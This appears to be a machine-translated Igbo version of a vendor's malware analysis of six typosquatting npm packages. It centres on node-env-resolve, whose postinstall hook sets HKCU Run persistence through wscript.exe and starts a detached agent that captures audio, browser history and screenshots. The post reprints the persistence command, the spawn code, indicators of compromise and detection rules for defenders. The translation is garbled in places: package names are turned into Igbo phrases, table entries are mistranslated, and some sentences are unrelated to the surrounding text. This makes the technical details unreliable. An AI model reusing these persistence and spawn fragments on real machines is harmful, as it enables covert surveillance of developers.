Mwakpo DevTap npm Typosquatting Mwakpo

Mmegide DevTap npm Typosquatting: Ngwugwu ọjọọ isii nke ebe ọrụ onye nrụpụta lekwasịrị anya

TL; DR

N'agbata Eprel 1 na Mee 3, 2026, otu onye mbipụta npm, user0001, edenyere aha na adreesị Gmail a na-anaghị enyocha tanvisoul9@gmail.com, jiri nwayọ kwaga ngwugwu isii nwere aha ndị a ma ama, ndị na-ada ụda akụrụngwa: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, na node-env-resolve.

Ụdị abụọ kachasị ọhụrụ nke node-env-resolve, 1.0.7 na 1.0.8, ka sistemụ Xygeni's Malware Early Warning (MEW) gosiri na ọ bụ ihe ọjọọ na Mee 2 ma gosi na ọ bụ ihe ọjọọ na Mee 3.

Ihe a na-etinye n'ime ihe a adịghị ahụkebe maka ihe ọ na-abụghị: enweghị bot Telegram, enweghị oku OAST, mba obfuscation, na enweghị mgbalị iji nweta asambodo AWS n'oge nrụnye. Kama, postinstall.js na-akụ ntinye Windows boot-persistence, site na iji igodo HKCU Run nke na-amalite wscript.exe megide VBS stub. Mgbe ahụ ọ na-emepụta ihe nnọchite anya Node.js nke na-ejikọta modulu maka ijide igwe okwu, izu ohi akụkọ ihe nchọgharị, nseta ihuenyo, na ịme ihe ngosi òké/keyboard.

Anyị na-akpọ otu a klaasị DevTap, mgbe ngwa ahụ gasịrị, ọ na-apụ na igwe onye nrụpụta.

Ngwugwu isii niile dị ndụ na npm n'oge a na-ede ihe a. Anyị enyela ha na ọwa mmegbu nke ndekọ ahụ. Ndị na-agbachitere kwesịrị iwepụ ntinye ọ bụla n'aka onye mbipụta tupu ewepụ ya.

Òtù: Ngwugwu isii, otu onye mbipụta

Akaụntụ onye mbipụta ahụ user0001 enweghị nkwenye. O nweghị SCM nkwenye, enweghị ozi-e jikọtara na ngalaba, enweghịkwa akụkọ ihe mere eme gara aga. Njikwa Gmail tanvisoul9 ọ pụtaghị na ndekọ onye mbipụta npm ọ bụla ọzọ anyị nwere ike ịchọta.

Ngwugwu isii niile depụtara otu onye na-elekọta ha, e bipụtara ha site n'otu akaụntụ, ma kesaa otu ihe ahụ. package.json efere ihe eji esi nri. Enweghị repository, ee e homepage, ma ee e description ogologo karịa otu ahịrị.

Usoro aha bụ akụkụ na-adọrọ mmasị. N'adịghị ka mkpọsa ndabere-mgbagwoju anya ma ọ bụ typosquat nkịtị, ọ dịghị otu n'ime aha ndị a lekwasịrị anya n'ọbá akwụkwọ dị n'elu. Kama, a na-ahazi ha ka ha pụọ ​​​​n'ezie package.json or npm ls mmepụta.

ngwugwuMbụ bipụtaraVersiondị ỌhụrụVersionsỌrụ na Klọsta
onye na-ede ihe etiti2026-04-01 12:46 UTC1.0.95, site na 1.0.5 ruo 1.0.9Mkpuchi "ọrụ ndekọ" nke Cluster; mbipụta mbụ
dom-utils-lite2026-04-14 07:36 UTC1.0.33Mkpuchi enyemaka DOM nkịtị
node-fetch-lite2026-04-19 10:22 UTC1.0.23Ezinụlọ Mimics node-fetch
onye nnọchite anya njikọ2026-04-25 05:12 UTC1.0.01Aha izugbe "onye nnọchite anya"
oge ọrụ node-gyp2026-04-25 05:17 UTC1.0.01Ngwaọrụ owuwu Mimics nke nwere modulu obodo
dozie node-env2026-04-25 05:21 UTC1.0.910, site na 1.0.0 ruo 1.0.9ihe na-adọpụ ihe na-arụ ọrụ; ihe e tinyere n'ime ya zuru oke

Aha dị ka centralogger, node-fetch-lite, na node-gyp-runtime e mere ha ka ha yie ihe na-anaghị agbagha agbagha na nyocha koodu. Ha na-ada ka ihe ndị ga-adịlarị n'osisi ịdabere na ọrụ.

Ha na ndị mbipụta ọhụrụ, nke a na-anaghị enyocha na njikọ ebe nchekwa data na-efu, ha na-etolite usoro a na-amata: onye na-eme ihe nkiri na-etinye aha ndị na-adịghị mma n'ime ndekọ ahụ, wee maliteghachi ngwa ngwa na nke dị mkpa. N'okwu a, node-env-resolve natara ụdị iri n'ime ụbọchị asatọ.

Ihe Na-ada na Igbe Mmepụta Windows

Agbụ ọjọọ dị na node-env-resolve:1.0.8 dị mkpụmkpụ, kpọmkwem, ma nwee atụmatụ pụrụ iche maka npm RAT.

Mgbe etinyere ya: Nkwụsi ike na Onye nnọchi anya nkewapụrụ

package.json na-ekwupụta otu njikọ nrụnye:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js na-eme ihe atọ n'usoro.

Nke mbụ, ọ na-ahazi ndekọ nrụnye n'èzí osisi npm. A na-agbakọ ụzọ ahụ n'oge ọsọ na edemede ahụ dị ka INSTALL_DIRMgbe ahụ ọ na-agba ọsọ n'ime execSync('npm install --production --silent ...') n'ime ya iji dọpụta ihe ndị metụtara oge ọrụ nke ihe etinyere n'ime ya. Nke a na-etinye ihe nnọchi anya ahụ na diski ebe ntuziaka. node_modules agaghị ahụ nyocha.

Nke abụọ, ọ na-ede ihe mmalite VBS ma na-edeba ya maka nkwụsi ike buut:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe bụ Windows Script Host, nke bụ Microsoft binary nke e tinyere aka na ya nke na-agba ọsọ .vbs faịlụ na-enweghị windo njikwa. Nke ahụ bụ tupucisihe kpatara ya bụ na ọ ka mma maka sistemụ arụmọrụ autorun.

E nwekwara otu ihe dakọtara reg delete ụzọ dị n'ime src/index.js, na-atụ aro na e mere ihe e tinyere n'ime ihe ahụ ka ọ bụrụ nke a pụrụ iwepụ kpamkpam na iwu onye ọrụ.

Nke atọ, ọ na-emepụta usoro nwatakịrị nkewa:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Nkọwa abụọ dị mkpa ebe a.

SERVER_URL a na-agụ site na gburugburu ebe obibi. N'ihi ya, a na-ahazi njedebe C2 kwa ntinye ma ọ bụghị n'ime ngwugwu ahụ. Nhọrọ nta ahụ mana e ji aka mee na-emeri ọtụtụ nyocha static-IOC.

Ọzọkwa, nwa a mụrụ ga-eketa gburugburu ebe obibi nne na nna ya zuru oke. Ya mere, ihe ọ bụla NPM_TOKEN, AWS_*, GITHUB_TOKEN, ma ọ bụ oghere SSH-agent dị na shei onye nrụpụta n'oge nrụnye na-abanye na ebe nchekwa onye nnọchi anya ahụ dị ogologo oge.

Ihe Onye Nnọchiteanya Na-ebuga

The jikọtara src/ osisi ahụ nwere modulu atọ aha ha na-akọ akụkọ ahụ: audioCapture.js, browserHistory.js, na systemInfo.js.

Ndepụta ndabere oge ọrụ, edoziri n'oge a na-ahazi usoro npm install, na-akwado ha.

Ụzọ a na-eme ka ihe na-eme n'ọgba aghara ghọọ nzaghachi a na-achịkwa.

Kama imeghachi omume n'amaghị ama, ndị otu na-arụ ọrụ na idobe ihe nke ọma na idozi ya ngwa ngwa.

dependencyIhe Ọ Bụ Maka N'ọnọdụ A
nseta ihuenyo-desktọpụỊdekọ ihuenyo mgbe niile
@ndụdụ-osisi-akị/ndụdụ-akịMmegharị aka nke òké na ahụigodo / ntinye
mma-sqlite3Ọgụgụ ozugbo nke Chrome, Edge, na Firefox History SQLite data
adm-zipỊchịkọta ihe ndị e ji aka chịkọta tupu a wụpụ ha
nkọỊhazi nha/ịkpakọ nseta ihuenyo na ihe onyonyo
socket.io-clientỌwa C2 nke na-adịgide adịgide
node-machine-idMkpisi aka kwụsiri ike maka onye ọ bụla na-akwado ya maka nsochi onye a na-eme ihe ike

systemInfo.js oku os.networkInterfaces() maka nyocha mkpịsị aka ọzọ tupu akara mbụ ahụ.

Ihe Mere Ndekọ Ọdịyo Ji Bụrụ Ihe Mgbaàmà Pụrụ Iche

Ọtụtụ npm RATs anyị na-enyocha na MEW na-akwụsị na izu ohi nzuzo n'oge nrụnye. Ha na-agụ ~/.npmrc, gụọ ~/.aws/credentials, kpụchaa process.env, BIpụ na webhook, wee pụọ. Nke ahụ dabara na ụdị akụnụba dị mfe ma dị mfe iji. Asambodo nwere ọkara ndụ dị mkpirikpi, onye na-awakpo ahụ kwesịkwara ịkpata ego ngwa ngwa.

node-env-resolve dị iche na ọdịdị.

A na-edozi nnọgidesi ike ahụ ka ọ dịgide na mmaliteghachi. Onye nnọchi anya ahụ na-apụ apụ ma na-adịru ogologo oge n'okpuru wscript.exeNgwa ọ na-ebu bụ maka ịnọ ebe ahụ na igwe onye nrụpụta, ọ bụghị maka ijide na ịpụ: ihe ndekọ igwe okwu, ihe ọkwọ ụgbọala kiiboodu/òké, ihe nchọgharị zuru oke na-etinye, njide ihuenyo, na ọwa Socket.IO na-emekọrịta ihe laghachi na C2 nke enwere ike ịhazi.

Njide igwe okwu karịsịa bụ akara mgbasa ozi a na-agafe nke ọtụtụ malware npm anaghị agafe.

Ebe ọrụ mmepụta ihe na-aghọkarị ebe ọrụ ebe ndị mmepe na-anọ, na-akpọ oku ndị ahịa, na-ekwurịta okwu gbasara imewe, na-akpọ oku. Ihe e tinyere n'ime igwe okwu anaghị agbaso ihe ngosi npm nke onye nrụpụta. Ọ bụ ihe onye nrụpụta ahụ kwuru n'ihu laptọọpụ ahụ.

E tinyela ikike ahụ, tinyere enweghị ihe mgbochi na enweghị ihe ọ bụla na-eme ka ọ dị mma n'oge nrụnye, dị ka ihe e ji echekwa ohere maka nnweta ezubere iche kama izu ohi asambodo ohere.

Anyị anaghị ekwu na ọ bụ naanị nke a ka anyị na-ekwu. Anyị na-ahụ profaịlụ ọrụ.

Mwakpo npm typosquatting - DevTab

Oge mmegharị nke ụbọchị asatọ ahụ dị na node-env-resolve bụ nkọwa kachasị mkpa n'oge usoro iheomume.

Nke a abụghị ihe a na-atụfu ma chefuo. Onye mbipụta akwụkwọ ahụ na-ejigide ihe ndọda ahụ nke ọma, nke na-apụtakarị otu n'ime ihe abụọ. Ma ha na-agbanwe ya ka ọ dabara na gburugburu nnwale tupu e tinye ya n'ọtụtụ ebe, ma ọ bụ ha enweelarị ihe ndọda ahụ na-alaghachi ma na-aza ya.

Ngwugwu ise ndị ọzọ ahụghị mgbanwe ọ bụla mgbe ebipụtachara ha mbụ. Nke ahụ dabara na usoro "otu oge, aha aha" maka otu nkwado ebe mbọ injinia na-elekwasị anya na ngwugwu nke na-arụ ọrụ ahụ.

Nkọwapụta: Obere Ntụaka, Enweghị Mkpebi Siri Ike

Public OSINT ihe mgbaàmà dị gịrịgịrị, anyị agaghịkwa agbatị ha. Ihe a na-ahụ anya:

Aka Gmail tanvisoul9 yiri nke dị n'akụkụ aha e nyere na South Asia, "Tanvi." Nke a bụ ihe mgbaàmà na-adịghị ike. Aka Gmail abụghị njirimara, ihe ndị na-esochi ya bụkwa ihe na-esochi ya. soul9 ọ bụ nke a na-ahụkarị. Ọ dịghị mma ịchọpụta ọdịdị ala site na email mpaghara naanị.

Ụdị koodu ahụ enweghị atụ Node.js: standard oku ọbá akwụkwọ dịka os, child_process, spawn, na reg addEnweghị ihe mgbochi, enweghị ntụgharị eriri, na enweghị usoro mgbochi nchọpụta nsogbu. Onye dere ya nwere obi ụtọ na ihe mbụ e ji edekọ Windows na nhazi usoro nwa, mana o yighị ka ọ na-achọ azụmaahịa zoro ezo nke ha nwere ike iji.

A naghị ewere ihe ndị a dịka ihe na-adịghị mma ma a maara nke ọma: screenshot-desktop, nut-js, better-sqlite3, na socket.io-clientEnweghị usoro omenala, enweghị nchịkọta C2 a gbagọrọ agbagọ, ọ dịghịkwa aghụghọ ntachi obi ọhụrụ gafere akwụkwọ ọgụgụ Igodo ọsọ HKCUNke a bụ onye na-eme ihe dị mkpa, ọ bụghị onye dere ngwa ọrụ.

Anyị ahụghị eriri ndị na-abụghị nke Bekee, okwu ndị e tinyere n'ime ha, data mpaghara, ma ọ bụ mkpịsị aka mpaghara oge ihe mejupụtara n'ime ihe ochie ndị e bipụtara.

Anyị lere anya maka njikọ koodu na mkpọsa ndị gara aga anyị na-esochi, gụnyere Shai Hulud, Owiviọn, Buildkite, na heibai / nke na-adịbeghị anya claude-code-best Ezinụlọ Anthropic-CLI clone. Anyị ahụghị nke ọ bụla: enweghị ụkpụrụ C2 ekekọrịtara, enweghị nhazi faịlụ ekekọrịtara, na enweghị okwu ekekọrịtara.

Ihe anyị na-agaghị ekwu: na nke a bụ onye ome ihe gbasara steeti, otu a maara, ma ọ bụ nke jikọtara ya na obodo ọ bụla kpọmkwem.

Nkọwa ọrụ ahụ kwekọrọ na obere ndị otu nwere nkà dị nta na-eme nleba anya na ebe ọrụ ndị mmepe. O yikarịrị ka ọ bụ ego sitere na iji ohere ahụ eme ihe n'ụzọ dị ala, mana o nwekwara ike ịbụ ọrụ nyocha maka onye zụrụ ya.

Isi ihe abụọ na-apụtaghị ìhè na-akwado nke na-agụ: izere usoro mwepụ ihe na-adọrọ adọrọ nke ga-agba ọkụ ngwa ngwa, dị ka bots Telegram, oastify.com, ma ọ bụ canarytokens, na aha ngwugwu ndị a na-amaghị ama, nke na-akwado ntinye ọdụ ogologo dị jụụ n'ime obere mmụba olu dị elu.

Ihe Ndị Na-egosi Nkwekọrịta na Nchọpụta

Ngwugwu na Onye Mbipụta
ubiuru
onye mbipụta npmuser0001
Ozi email onye mbipụtatanvisoul9@gmail.com, ekwenyeghị
nchịkọtacentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Ekwenyesiri na e nwere ihe ọjọọnode-env-resolve@1.0.7, node-env-resolve@1.0.8
Ihe Ochie Ndị Nnọchiteanya
ụdịuru
Isi ihe na-adịgide adịgideHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Uru nkwụsi ikeAha mgbanwe; data nke ụdị wscript.exe " \\ .vbs"
Wụnye nkopostinstall: node postinstall.js na ngosipụta ngwugwu
Modulu ntinyesrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Ndepụta nhaziEdoziri INSTALL_DIR n'èzí modulu node_ọrụ ahụ; postinstall.js setịpụrụ ọnọdụ ahụ n'oge nrụnye.
Network
ụdịuru
Njem C2socket.io-client, ọwa abụọ na-adịgide adịgide
njedebe C2Enyere onye nnọchi anya ahụ site na mgbanwe gburugburu ebe obibi SERVER_URL; anaghị akọwapụta koodu siri ike n'ime ihe ochie ebipụtara

Ihe Ndetu Nchọpụta

Iwu abụọ na-ejide ezinụlọ a na-enweghị mkpa njedebe C2.

Nke mbụ, tọọ akara edemede postinstall nke na-arụ ọrụ dị n'ime npm install banye n'ụzọ dị n'èzí ndekọ nke ngwugwu ahụ. Onye nbudata ihe owuwu mbụ ọ bụla ziri ezi, dịka node-gyp na-ewughachi ma ọ bụ na-ebudata ihe ndị na-ebudata ihe ọhụrụ, na-ede ihe n'ime ngwugwu ahụ ma ọ bụ n'ime ikpo okwu-standard ụzọ nchekwa nwere hashes enyochachara. Ọ naghị ede ihe n'ime nke e kere ọhụrụ INSTALL_DIR ebe ọzọ na diski.

Nke abụọ, tọọ akara edemede postinstall nke na-apụta reg add HKCU\…\Run na wscript.exe dị ka onye na-ebupụta ihe. Nke a abụghị ihe ziri ezi site na ngwugwu npm. Kpọọ ya akara ma kpọchie ya iche.

Nkọwa nke atọ bara uru maka ịchọpụta ngwugwu nwanne na-esote tupu ekwenye ya: onye mbipụta npm ọhụrụ na-enweghị SCM nkwenye, email Gmail, mba repository ubi, na ọtụtụ aha ngwugwu dị mkpụmkpụ, nke a na-ebipụta n'ime ụbọchị ole na ole nke ibe ha, zuru oke iji kwado nyocha aka.

Akọrọ m ya na ndekọ npm. Anyị ga-emelite ozi a mgbe ewepụchara akaụntụ onye mbipụta ahụ.

ngwaọrụ nyocha sca-ngwaọrụ-ngwanrọ-nchịkọta-ngwaọrụ nyocha
Mee ka ihe egwu dị na ngwanrọ gị buo ibu, dozie ya, ma chekwaa ya
Nweta Akaụntụ N'efu gị.
Enweghị kaadị akwụmụgwọ achọrọ.

Chekwaa mmepe na nnyefe ngwanrọ gị

ya na Xygeni Product Suite